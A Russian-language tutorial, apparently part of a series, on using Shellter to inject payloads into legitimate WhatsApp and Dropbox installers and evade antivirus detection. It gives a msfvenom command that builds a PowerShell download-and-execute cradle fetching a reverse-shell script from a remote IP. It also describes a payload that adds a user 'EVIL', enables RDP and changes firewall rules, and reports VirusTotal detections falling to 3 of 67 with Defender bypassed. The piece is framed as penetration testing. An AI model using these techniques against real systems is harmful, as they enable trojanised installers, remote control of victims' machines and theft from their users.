Утилита Shellter: Достигаем максимальных результатов в ручном режиме работы, используя инсталлятор

Утилита Shellter: Достигаем максимальных результатов в ручном режиме работы, используя инсталлятор

В двух предыдущих статьях цикла мы рассмотрели автоматический и ручной режимы работы с утилитой shellter. Сгенерировали файл, который обходит некоторые из популярных антивирусных программ. Представим, что целевая система использует антивирус, который продолжает определяет файл как вредоносный и потенциально опасный, даже после операций из предыдущего материала. Так как изменения в кодировании нагрузки не дают никакого результата, скорее всего, запуск в песочнице выявляет подозрительную активность пэйлоада. Что ещё можно сделать? Попробуем изменить саму нагрузку.

Пробуем реализовать функционал удаленно

Например, разместим функционал удалённо и будем подгружать необходимый файл. Этот метод хорош гибкостью. Напишем скрипт на powershell или batch-file и поместим в обертку. Дополнительно встроим в скрипт задержку перед установлением соединения. Антивирус не будет бесконечно ждать, что собирается предпринять наш код. Задержки в несколько минут обычно достаточно, чтобы анализ в песочнице прошёл успешно. Однако фокус может не получиться: обертка будет подозрительна. Скрипт встроим в наш файл посредством shellter, как и раньше. Msfvenom позволяет сделать это так:

msfvenom -a x86 -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/our_script.ps1')\"" -f raw

В скрипте внутри our_script.ps1 находится reverse shell.

reverse shell

Результат выполнения:

x86/shikata_ga_nai chosen with final size 3124 Payload size: 3124 bytes

Saved as: downloader.bin

Проходим этапы shellter снова. В этот раз включаем сбор Dynamic Thread Context Info.Трассируем до 10000 инструкций, дополнительно проверяем на самомодифицирующийся код.

включаем сбор Dynamic Thread Context Info

Трассировка заняла некоторое время, но ошибок или проблем не возникло.

Трассировка заняла некоторое время

Включаем stealth (для режима обязательно используем exitfunc=thread, а не process) и включаем кодирование с использованием собственной последовательности кодирования. Важно отметить, что при генерации такой последовательности нужно исключить появление “обратных" операций, например, следующих подряд двух XOR.

Включаем stealth

Выбираем метод работы с памятью (на скриншоте выбрана работа с кучей), обфусцируем IAT handler и добавляем полиморфный код.

Выбираем метод работы с памятью

Из предыдущих запусков shellter на этом файле мы знаем, что в куче есть возможность разместить около 8 килобайтов кода. Размер нагрузки - пять с половиной килобайтов, так что добавляем 2кБ полиморфного кода, сгенерированного shellter’ом.

Размер нагрузки - пять с половиной килобайтов

Третья стадия фильтрации достигнута, можем внедрить код. Как видим, DTCI существенно снизил количество возможных точек внедрения. Внедрение завершилось, проверка пройдена.

Проверяем эффективность файла

Загружаем наш файл в онлайновую базу virustotal. Нет, ситуация глобально не изменилась (23 против 24), хоть и  видим некоторые улучшения.

Загружаем наш файл в онлайновую базу virustotal

С этим файлом справились только 23 антивируса из 70. Но Defender и здесь сумел распознать злонамеренную активность. Интересно, что антивирус Sophos (ничем не примечательный продукт) уверенно определяет наш файл как обработанный утилитой shellter. Этот файл (инсталлятор dropbox) уже много раз использовался для встраивания злонамеренного кода и тестирования на сайте virustotal.

В чем причина распознавания зловреда

Возможно, что часть антивирусов (и sophos в том числе) проверяет, изменён ли файл по сравнению с "истинной" версией (например, по чек-сумме, которую shellter изменяет). Создаем новый файл с той же нагрузкой.

Попробуем инсталляторы (это популярный вариант, отлично подходящий для социальной инженерии) Telegram, Whatsapp, Zoom, Zoom plugin for Outlook. Инсталлятор telegram запакован, поэтому работу с ним вести не будем. Инсталлятор whatsapp большой (~140MB), кажется, слона можно спрятать. С инсталлятором плагина zoom тоже не всё гладко: он уже упакован в .msi файл. Из всех вариантов выбираем Whatsapp.

Работа инсталлятором whatsapp с помощью shellter

Работа инсталлятором whatsapp

Переименовываем файл, чтобы имя было покороче. Никакой магии тут нет.

Переименовываем файл, чтобы имя было покороче

Исходя из размера файла, можно предположить, что он не будет запакован. Предположение верно.

Не запакованный файл

Включаем сбор DTCI и трассируем, как и раньше. Файл крупнее, инструкций больше, поэтому лимит устанавливаем в 100000 инструкций, а не 10000, как раньше.

Включаем сбор DTCI

В качестве нагрузки будем использовать два варианта: первый —  reverse-shell (генерация рассматривалась ранее), второй — добавление пользователя EVIL в систему и включение удаленного доступа по RDP+изменение правил фаервола (скриншот ниже). Когда нагрузка отработает, на машину придёт ping со стороны жертвы. Бывает, что первый ping-запрос “съедает” ARP-resolution, поэтому запрашиваем два пакета.

запрашиваем два пакета

Поскольку оба варианта нагрузки встраиваются аналогично, в статье отсутствуют подробные скриншоты работы shellter’а - присутствует первый “прогон”, далее приведены полученные результаты в обоих случаях.

приведены полученные результаты в обоих случаях

В процессе трассировки нас ждет приятный сюрприз: после примерно 92000 отслеженных инструкций приложение попросило разрешить установку .NET с сайта Microsoft.

приложение попросило разрешить установку .NET с сайта Microsoft

Почему приятный? Потому что это говорит о том, что сетевая активность для приложения легитимна

сетевая активность для приложения легитимна

Действуем как раньше: stealth mode on, включаем кодирование, которое доступно, используем свою уникальную последовательность для кодирования.

stealth mode on

IAT handler: выбираем загрузку библиотеки. Кстати, это последний из добавленных в функционал методов (пусть и несколько лет назад).

выбираем загрузку библиотеки

Дополнительно добавляем вставкой полиморфного кода для маскировки. Кстати, максимальный размер вставки — 10000 байтов.

добавляем вставкой полиморфного кода для маскировки

Файл достаточно большой, чтобы туда поместилось много полезного. Так что и наш код, и полиморфный участок там умещаются, несмотря на суммарный размер более 20к. Посмотрим, как выглядят точки внедрения.

как выглядят точки внедрения

Выбираем предпоследнюю: важно угадать ту часть кода, где заканчивается проверка на наличие .NET. Точки 45 и 46 – какая-то отдельная функция, так что используем 45.

важно угадать ту часть кода, где заканчивается проверка на наличие .NET

Тест финального файла (первой версии с reverse-shell)

Инъекция проведена, тестируем файл на virustotal. Первый вариант (с reverse-shell'ом, запакованным в 300 итераций shikata-ga-nai) сразу же выдает отличный результат (3 из 67).

Первый вариант (с reverse-shell'ом, запакованным в 300 итераций shikata-ga-nai)

Отметим, что вкладка details не дала результатов запуска в песочнице: видимо, файл засчитан как слишком большой для анализа.

Тест финального файла (второй версии с добавлением пользователя EVIL в систему и включением удаленного доступа по RDP)

Результаты второго варианта совпадают с первым тестом, за исключением того, что Microsoft отнес нагрузку к другому подклассу угроз.

Microsoft отнес нагрузку к другому подклассу угроз

Заметим, что в классе зловреда присутствует слово “meterpreter”, предполагаем, что обнаружилось кодирование shikata-ga-nai. Подготовим нагрузку без этого кодировщика и встроим её аналогично. Назовем это третьей версией файла, доработкой второй.

Тест финального файла (третья версия)

Тест финального файла

Неизвестно, надолго ли, но уловка сработала, и Windows Defender больше не определяет файл как содержащий троян. Virus Blok Ada выдает предупреждение, но пропускал угрозы в предыдущих тестах.

Переходим к тестированию файла на лабораторной машине, чтобы увидеть ping. Излишне упоминать о том, что Windows Defender никаких проблем не увидел.

Windows Defender никаких проблем не увидел

Собственный reverse shell, написанный и скомпилированный на той же ОС, что и у тестовой (целевой) машины, дополнительно повысит шансы на прохождение антивирусной проверки. Улучшит работу файла и использование своего полиморфного кода вместо предлагаемого shellter’ом.

Резюмируя: обойти современный антивирус, используя shellter - задача сложная, но интересная и выполнимая.


Не имеет смысла пытаться создать “универсальный ключ”: лучше, проведя предварительное исследование, выяснить, какой антивирусный продукт используется на целевой ОС и создать файл против уже конкретного антивируса. Кроме того, как только файл проходит проверку онлайн, он автоматически направляется для анализа производителям антивирусов. Соответственно, в скором будущем он будет идентифицироваться как зловред бОльшим количеством антивирусов. Когда нужно гарантированно “удивить" антивирус, тестируем подготовленный файл на собственной виртуальной машине, полностью аналогичной целевой (та же ОС, те же установленные антивирусные продукты, те же антивирусные базы). Удачного тестирования на проникновение!

Список источников

  1. https://en.wikipedia.org/wiki/Billion_laughs_attack
  2. https://www.virustotal.com/gui/
  3. https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender- antivirus/utilize-microsoft-cloud-protection-microsoft-defender-antivirus